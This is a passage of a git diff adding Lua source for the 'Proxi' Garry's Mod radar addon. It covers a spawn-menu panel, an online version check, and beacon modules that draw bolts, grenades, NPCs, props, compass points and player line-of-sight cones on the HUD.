+//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Simmap // +//////////////////////////////////////////////// + +proxi_simmap = {} + +local PROXI_SIMMAP_SPACE_TOLERENCE = 4 +local PROXI_SIMMAP_Z_TOLERENCE = 16 + +local PROXI_SIMMAP_IsBuilding = false +local PROXI_SIMMAP_Thread = {} + +function proxi_simmap.PrepareSimmapBuild_OnlyZ( vPos, iExtent ) + PROXI_SIMMAP_IsBuilding = true + + iExtent = iExtent - iExtent % PROXI_SIMMAP_SPACE_TOLERENCE + if iExtent > 1 then + vPos.x = vPos.x - vPos.x % PROXI_SIMMAP_SPACE_TOLERENCE + vPos.y = vPos.y - vPos.y % PROXI_SIMMAP_SPACE_TOLERENCE + vPos.z = vPos.z - vPos.z % PROXI_SIMMAP_Z_TOLERENCE + + table.insert( PROXI_SIMMAP_Thread, {vPos, iExtent, 0} ) + else + Error("Proxi ERROR : Passed an extent than can be simplified to nothing !") + + end + +end + +function proxi_simmap.BuildArea( tThread ) + + +end + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua new file mode 100644 index 0000000..0de9fda --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_preforce.lua @@ -0,0 +1,35 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// + +function proxi_Panel(Panel) + Panel:AddControl("Checkbox", { + Label = "Enable", + Description = "Enable", + Command = "proxi_core_enable" + } + ) + Panel:AddControl("Button", { + Label = "Open Menu (proxi_menu)", + Description = "Open Menu (proxi_menu)", + Command = "proxi_menu" + } + ) + + Panel:Help("To trigger the menu in any gamemode, type proxi_menu in the console, or bind this command to any key.") + +end + +function proxi_AddPanel() + spawnmenu.AddToolMenuOption("Options", "Player", PROXI_NAME, PROXI_NAME, "", "", proxi_Panel, {SwitchConVar = 'proxi_core_enable'}) + +end + +function proxi_InitLoad() + hook.Add( "PopulateToolMenu", "AddProxiPanel", proxi_AddPanel ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua new file mode 100644 index 0000000..2e8166c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/cl_proxi_version.lua @@ -0,0 +1,60 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Version II // +//////////////////////////////////////////////// + +proxi_internal = {} + +local MY_VERSION = tonumber(string.Explode( "\n", file.Read("proxi.txt"))[1]) +local ONLINE_VERSION = nil +local DOWNLOAD_LINK = nil +local RECEIVED_RESPONSE = false +local CONTENTS_REPLICATE = nil + +function proxi_internal.IsUsingCloud() + return proxi_cloud and proxi_cloud.IsUsingCloud and proxi_cloud:IsUsingCloud() or nil +end + +function proxi_internal.HasReceivedResponse() + return RECEIVED_RESPONSE +end + +function proxi_internal.GetVersionData() + return MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK +end + +function proxi_internal.GetReplicate( ) -- >= cv1.1 + return CONTENTS_REPLICATE +end + +function proxi_internal.ReceiveVersion( args, contents , size ) + + --Taken from RabidToaster Achievements mod. + CONTENTS_REPLICATE = contents + local split = string.Explode( "\n", contents ) + local version = tonumber( split[ 1 ] or "" ) + + if ( !version ) then + ONLINE_VERSION = -1 + return + end + + ONLINE_VERSION = version + + if ( split[ 2 ] ) then + DOWNLOAD_LINK = split[ 2 ] + end + + RECEIVED_RESPONSE = true + if args and args[1] then args[1]() end + +end + +function proxi_internal.QueryVersion( funcCallback ) + http.Get( "http://proximod.googlecode.com/svn/trunk/data/proxi.txt", "", proxi_internal.ReceiveVersion, funcCallback ) + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt new file mode 100644 index 0000000..bc23404 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/FILES ARE NOT RUN AUTOMATICALLY.txt @@ -0,0 +1,2 @@ +The files you put there are NOT run automatically. +Neither will the beacon system work correctly if you register a beacon on the fly (yet). \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua new file mode 100644 index 0000000..394626d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/_base.lua @@ -0,0 +1,26 @@ +local BEACON = {} +BEACON.Name = "" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +function BEACON:Load() +end + +function BEACON:ShouldTag( entity ) + return false + +end + +function BEACON:PerformMath( ent ) +end + +function BEACON:DrawUnderCircle( ent ) +end + +function BEACON:DrawOverCircle( ent ) +end + +function BEACON:DrawOverEverything( ent, fDist, fAngle ) +end + +proxi.RegisterBeacon( BEACON, "base" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua new file mode 100644 index 0000000..459e097 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/bolts.lua @@ -0,0 +1,60 @@ +local BEACON = {} +BEACON.Name = "Bolts" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +BEACON.Description = "Shows Crossbow bolts, their travel direction and a rough hit prediction." + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "crossbow_bolt" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + if not thisMathPool.tracedata then + thisMathPool.tracedata = {} + thisMathPool.tracedata.filter = ent + + thisMathPool.traceres = {} + + end + + thisMathPool.tracedata.start = thisMathPool.posToProj + thisMathPool.tracedata.endpos = thisMathPool.posToProj + ent:GetVelocity():Normalize() * 16384 + thisMathPool.traceres = util.TraceLine( thisMathPool.tracedata ) + + render.SetMaterial( self.myMaterial ) + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj + ent:GetVelocity() * 2, 32, 0.5, 1, Color( 255, 255, 0, 255 ) ) + render.DrawBeam( thisMathPool.posToProj, thisMathPool.posToProj - ent:GetVelocity() * 0.5, 32, 0.5, 1, Color( 255, 0, 0, 128 ) ) + render.DrawSprite( thisMathPool.conePos, 128, 128, Color( 255, 255, 0, 255 ) ) //// + + render.DrawSprite( thisMathPool.traceres.HitPos, 256, 256, Color( 255, 255, 255, 255 ) ) //// + +end + +proxi.RegisterBeacon( BEACON, "bolts" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua new file mode 100644 index 0000000..343333e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/chat.lua @@ -0,0 +1,61 @@ +local BEACON = {} +BEACON.HOOK = {} +BEACON.Name = "Chat" +BEACON.DefaultOn = true +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myTriangle = surface.GetTextureID( "proxi/beacon_bigcircle_antinoy_add" ) + + self.myThread = {} + self.beaconTime = 5 + +end + +function BEACON.HOOK:OnPlayerChat( ply, sText, bIsTeam, bIsDead ) + table.insert( self.myThread, { {}, ply:GetPos(), team.GetColor( ply:Team() ), bIsTeam, CurTime() } ) + +end + +function BEACON:PerformMath( ) + local i = 1 + while i <= #self.myThread do + local obj = self.myThread[ i ] + if CurTime() > (obj[ 5 ] + self.beaconTime) then + table.remove( self.myThread, i ) + + else + local thisMathPool = obj[ 1 ] + + proxi:ProjectPosition( thisMathPool, obj[ 2 ] ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + end + i = i + 1 + + end + +end + +function BEACON:DrawUnderCircle2D( ent ) + for k,obj in pairs( self.myThread ) do + local thisMathPool = obj[ 1 ] + + local x, y = proxi:ConvertPosToScreen( thisMathPool.conePos ) + + obj[ 3 ].a = (1 - ((CurTime() - obj[ 5 ]) / self.beaconTime) ^ 2) * 128 + + local iSize = 24 * proxi:GetPinScale() * (1 + ((CurTime() - obj[ 5 ]) * 1.5) % 1) + surface.SetTexture( self.myTriangle ) + surface.SetDrawColor( obj[ 3 ] ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "chat" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua new file mode 100644 index 0000000..1fd71b8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/compass.lua @@ -0,0 +1,76 @@ +local BEACON = {} +BEACON.Name = "Compass" +BEACON.DefaultOn = true +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myNormals = {} + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + for i = 0, 359, 45 do + baseAngle.y = i + self.myNormals[i] = baseAngle:Forward() + self.myMathPos[i] = Vector(0,0,0) + self.myMathBackoff[i] = Vector(0,0,0) + self.myMathFalloff[i] = 0 + + end + + self.myMathPool = {} + + + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.Names = {} + self.Names[0] = "E" + self.Names[90] = "N" + self.Names[180] = "W" + self.Names[270] = "S" +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.7 + + for iAng,vNorm in pairs( self.myNormals ) do + proxi:ProjectPosition( self.myMathPool, refPos + vNorm * self.radius ) + self.myMathPos[iAng] = proxi:GetConeProjectedPosition( self.myMathPool ) + self.myMathBackoff[iAng] = self.myMathPos[iAng] - vNorm * self.radius * 0.1 + self.myMathFalloff[iAng] = proxi:GetFalloff( self.myMathPool, 128 ) ^ 4 + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for iAng,vNorm in pairs( self.myNormals ) do + render.DrawBeam( self.myMathPos[iAng], self.myMathBackoff[iAng], self.radius / 64, 0.5, 1, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ) ) + + end + +end + + +function BEACON:DrawUnderCircle2D( ) + for iAng,sName in pairs( self.Names ) do + local x, y = proxi:ConvertPosToScreen( self.myMathBackoff[iAng] ) + draw.SimpleText( sName, "DefaultSmall", x+1, y+1, Color( 0, 0, 0, 255 * self.myMathFalloff[iAng] ^ 2 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( sName, "DefaultSmall", x, y, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + end + +end + +proxi.RegisterBeacon( BEACON, "compass" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua new file mode 100644 index 0000000..7ee8f68 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/contraptioncompass.lua @@ -0,0 +1,86 @@ +local BEACON = {} +BEACON.Name = "Compass for Contraptions" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myNormals = {} + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + for i = 0, 359, 45 do + baseAngle.y = i + self.myNormals[i] = baseAngle:Forward() + self.myMathPos[i] = Vector(0,0,0) + self.myMathBackoff[i] = Vector(0,0,0) + self.myMathFalloff[i] = 0 + + end + + self.myMathPool = {} + + + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.Names = {} + self.Names[0] = "+X" + self.Names[90] = "+Y" + self.Names[180] = "-X" + self.Names[270] = "-Y" + + self.Colors = {} + self.Colors[0] = Color( 255, 0, 0, 255 ) + self.Colors[90] = Color( 0, 255, 0, 255 ) + self.Colors[180] = Color( 255, 0, 0, 255 ) + self.Colors[270] = Color( 0, 255, 0, 255 ) + + self.baseColor = Color( 255, 255, 0 ) +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.7 + + for iAng,vNorm in pairs( self.myNormals ) do + proxi:ProjectPosition( self.myMathPool, refPos + vNorm * self.radius ) + self.myMathPos[iAng] = proxi:GetConeProjectedPosition( self.myMathPool ) + self.myMathBackoff[iAng] = self.myMathPos[iAng] - vNorm * self.radius * 0.1 + self.myMathFalloff[iAng] = proxi:GetFalloff( self.myMathPool, 128 ) ^ 4 + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for iAng,vNorm in pairs( self.myNormals ) do + render.DrawBeam( self.myMathPos[iAng], self.myMathBackoff[iAng], self.radius / 64, 0.5, 1, Color( 255, 255, 255, 255 * self.myMathFalloff[iAng] ) ) + + end + +end + + +function BEACON:DrawUnderCircle2D( ) + for iAng,sName in pairs( self.Names ) do + local x, y = proxi:ConvertPosToScreen( self.myMathBackoff[iAng] ) + local color = self.Colors[ iAng ] or self.baseColor + color.a = 255 * self.myMathFalloff[iAng] + draw.SimpleText( sName, "DefaultSmall", x+1, y+1, Color( 0, 0, 0, 255 * self.myMathFalloff[iAng] ^ 2 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( sName, "DefaultSmall", x, y, color, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + end + +end + +proxi.RegisterBeacon( BEACON, "contraptioncompass" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua new file mode 100644 index 0000000..18cb67f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/helpersquare.lua @@ -0,0 +1,58 @@ +local BEACON = {} +BEACON.Name = "Helper Square" +BEACON.DefaultOn = false +BEACON.IsStandAlone = true + +BEACON.CanBypassDistance = false +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + local baseAngle = Angle(0, 0, 0) + + self.myRelatives = { + Vector(1, 1, 0):Normalize(), + Vector(1, -1, 0):Normalize(), + Vector(-1, -1, 0):Normalize(), + Vector(-1, 1, 0):Normalize() + } + + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + + self.myMathPos = {} + self.myMathBackoff = {} + self.myMathFalloff = {} + +end + +---- StandAlone beacons don't need tagging. +-- function BEACON:ShouldTag( ) +-- end + +---- StandAlone beacons don't need ents. +function BEACON:PerformMath( ) + local CVD = proxi:GetCurrentViewData() + local refPos = EyePos() + EyeAngles():Forward() * CVD.radiuseval / CVD.baseratio_nomargin + self.radius = CVD.radiuseval * 0.3 + + local reference = LocalPlayer():GetPos() + + for k,vNormal in pairs( self.myRelatives ) do + self.myMathPos[k] = reference + vNormal * self.radius + + end + +end + +function BEACON:DrawUnderCircle( ) + render.SetMaterial( self.myMaterial ) + for i = 1, #self.myRelatives do + local a = self.myMathPos[ i ] + local b = self.myMathPos[ (i == #self.myRelatives) and 1 or (i + 1) ] + render.DrawBeam( a, b, self.radius / 8, 0.4, 0.6, Color( 255, 255, 255, 128 ) ) + + end + +end + +proxi.RegisterBeacon( BEACON, "helpersquare" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua new file mode 100644 index 0000000..abb8d23 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/nades.lua @@ -0,0 +1,45 @@ +local BEACON = {} +BEACON.Name = "Nades" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:GetClass() == "npc_grenade_frag" + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + + for i=1,10 do + render.DrawBeam( thisMathPool.conePos, thisMathPool.conePos - ent:GetVelocity() + VectorRand() * 128, 32, 0.5, 1, Color( 255, 0, 0, 128 * cfP ) ) + end + render.DrawSprite( thisMathPool.conePos, 256 + 128 * math.sin( CurTime() * math.pi * 2 * 3 ), 256 + 128 * math.sin( CurTime() * math.pi * 2 * 3 ), Color( 255, 0, 0, 255 * cfP ) ) //// + +end + +proxi.RegisterBeacon( BEACON, "nades" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua new file mode 100644 index 0000000..263afbe --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npc.lua @@ -0,0 +1,89 @@ +local BEACON = {} +BEACON.Name = "NPCs" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myTexture = surface.GetTextureID( "proxi/beacon_square_8" ) + self.myTriangle = surface.GetTextureID( "proxi/beacon_triangle" ) + self.myColor = Color( 255, 0, 0, 255 ) + self.myCross = surface.GetTextureID( "proxi/beacon_cross" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsNPC() + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + + self.zLocalPos = LocalPlayer():GetPos().z + +end + +/*function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + ent:DrawModel() + render.SetBlend( 1 ) + + end + +end*/ + +function BEACON:DrawUnderCircle2D( ent ) + local thisMathPool = self.myMathPool[ ent ] + + local xRel, yRel = proxi:ConvertPosToRelative( thisMathPool.conePos ) + local x, y = proxi:ConvertRelativeToScreen( xRel, yRel ) + + local relZ = (ent:GetPos().z - self.zLocalPos) + local isShift = math.abs( relZ ) > 100 + local iSize = (isShift and 20 or 14) * proxi:GetPinScale() + if isShift then + surface.SetTexture( self.myTriangle ) + + else + surface.SetTexture( self.myTexture ) + + end + surface.SetDrawColor( self.myColor ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, isShift and ((relZ > 0) and 0 or 180) or 45) + + if false and "should be when thys dead" then + surface.SetTexture( self.myCross ) + surface.DrawTexturedRectRotated( x, y, iSize, iSize, 0) + + end + + if thisMathPool.ratio < 1.5 then + local text = proxi_util.FamiliarizeString( string.gsub( ent:GetClass(), "npc_", "" ) ) + + surface.SetFont( "DefaultSmall" ) + local wB, hB = surface.GetTextSize( text ) + x = x - xRel * wB / 2 + y = y - yRel * hB / 2 + hB - (yRel > 0 and (yRel ^ 4 * hB * 2) or 0) + + draw.SimpleText( text, "DefaultSmall", x + 1, y + 1, Color( 0, 0, 0, 128 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + draw.SimpleText( text, "DefaultSmall", x, y, self.myColor, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER ) + + end + +end + +proxi.RegisterBeacon( BEACON, "npcs" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua new file mode 100644 index 0000000..f2989f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/npclos.lua @@ -0,0 +1,46 @@ +local BEACON = {} +BEACON.Name = "NPC LOS" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_cone_rev" ) + self.myOtherMaterial = Material( "proxi/beacon_circle" ) + self.myBeamMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsNPC() and entity:GetClass() ~= "npc_rollermine" + +end +function BEACON:DrawUnderCircle( ent ) + local CVD = proxi:GetCurrentViewData() + local refValue = math.Clamp( CVD.radiuseval / CVD.baseratio_nomargin, 1, 2 ) + + local cute = ent:GetAngles():Forward():Dot( EyeAngles():Forward() ) + local acute = math.abs( cute ) + local acutePA = 1 - acute ^ 2 + local acutePP = acute ^ 4 + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( ent:GetPos(), ent:GetPos() + ent:GetAngles():Forward() * 256 * refValue, 256 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePA ) ) + + render.SetMaterial( self.myOtherMaterial ) + render.DrawSprite( ent:GetPos() + ent:GetAngles():Forward() * 256 * refValue, 192 * refValue, 192 * refValue, Color( 255, 255, 255, 64 * acutePP ) ) + + render.SetMaterial( self.myBeamMaterial ) + render.DrawBeam( ent:GetPos(), ent:GetPos() + ent:GetAngles():Forward() * 512 * refValue, 32 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePP ) ) + + if cute < 0 then + render.DrawSprite( ent:GetPos(), 192 * refValue, 192 * refValue, Color( 255, 255, 255, 128 * acutePP ) ) + end + + +end + +proxi.RegisterBeacon( BEACON, "npclos" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua new file mode 100644 index 0000000..5bfe93c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/physprops.lua @@ -0,0 +1,53 @@ +local BEACON = {} +BEACON.Name = "Physical Props" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return string.find( entity:GetClass(), "prop_physics" ) or string.find( entity:GetClass(), "prop_ragdoll" ) + +end + +function BEACON:PerformMath( ent ) + if not self.myMathPool[ ent ] then + self.myMathPool[ ent ] = {} + end + local thisMathPool = self.myMathPool[ ent ] + + proxi:ProjectPosition( thisMathPool, ent:GetPos() ) + proxi:GetFalloff( thisMathPool, 256 ) + proxi:GetConeProjectedPosition( thisMathPool ) + +end + +function BEACON:DrawUnderCircle( ent ) + local thisMathPool = self.myMathPool[ ent ] + + if thisMathPool.ratio > 2 then return end + + local cfP, cfAP = thisMathPool.closeFalloff ^ 2, proxi_util.PercentCharge( thisMathPool.closeFalloff ) + + render.SetMaterial( self.myMaterial ) + render.DrawSprite( thisMathPool.conePos, 32, 32, Color( 255, 255, 255, 255 * cfAP ) ) //// + --render.DrawSprite( thisMathPool.posToProj, 32, 32, Color( 255, 255, 255, 255 ) ) + --render.DrawBeam( thisMathPool.posToProj, thisMathPool.conePos, 10, 0.3, 0.5, Color( 255, 255, 255, 255 * cfP ) ) + + if thisMathPool.ratioClamped < 1 then + render.SetBlend( 1 - thisMathPool.ratioClamped ^ 5 ) + ent:DrawModel() + render.SetBlend( 1 ) + + end + +end + +proxi.RegisterBeacon( BEACON, "physprops" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua new file mode 100644 index 0000000..c272ab1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/playerlos.lua @@ -0,0 +1,46 @@ +local BEACON = {} +BEACON.Name = "Player LOS" +BEACON.DefaultOn = true +BEACON.IsStandAlone = false + +BEACON.CanBypassDistance = true +BEACON.DefaultBypassDistance = false + +function BEACON:Load() + self.myMathPool = {} + self.myMaterial = Material( "proxi/beacon_cone_rev" ) + self.myOtherMaterial = Material( "proxi/beacon_circle" ) + self.myBeamMaterial = Material( "proxi/beacon_flare_add" ) + +end + +function BEACON:ShouldTag( entity ) + return entity:IsPlayer() + +end +function BEACON:DrawUnderCircle( ent ) + local CVD = proxi:GetCurrentViewData() + local refValue = math.Clamp( CVD.radiuseval / CVD.baseratio_nomargin, 1, 2 ) + + local cute = ent:GetAimVector():Dot( EyeAngles():Forward() ) + local acute = math.abs( cute ) + local acutePA = 1 - acute ^ 2 + local acutePP = acute ^ 4 + + render.SetMaterial( self.myMaterial ) + render.DrawBeam( ent:GetShootPos(), ent:GetShootPos() + ent:GetAimVector() * 256 * refValue, 256 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePA ) ) + + render.SetMaterial( self.myOtherMaterial ) + render.DrawSprite( ent:GetShootPos() + ent:GetAimVector() * 256 * refValue, 192 * refValue, 192 * refValue, Color( 255, 255, 255, 64 * acutePP ) ) + + render.SetMaterial( self.myBeamMaterial ) + render.DrawBeam( ent:GetShootPos(), ent:GetShootPos() + ent:GetAimVector() * 512 * refValue, 32 * refValue, 0.5, 1, Color( 255, 255, 255, 128 * acutePP ) ) + + if cute < 0 then + render.DrawSprite( ent:GetShootPos(), 192 * refValue, 192 * refValue, Color( 255, 255, 255, 128 * acutePP ) ) + end + + +end + +proxi.RegisterBeacon( BEACON, "playerlos" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_b_default/players.lua new file mode 100644 index 0000000..71ca025 --- /dev/null +++ 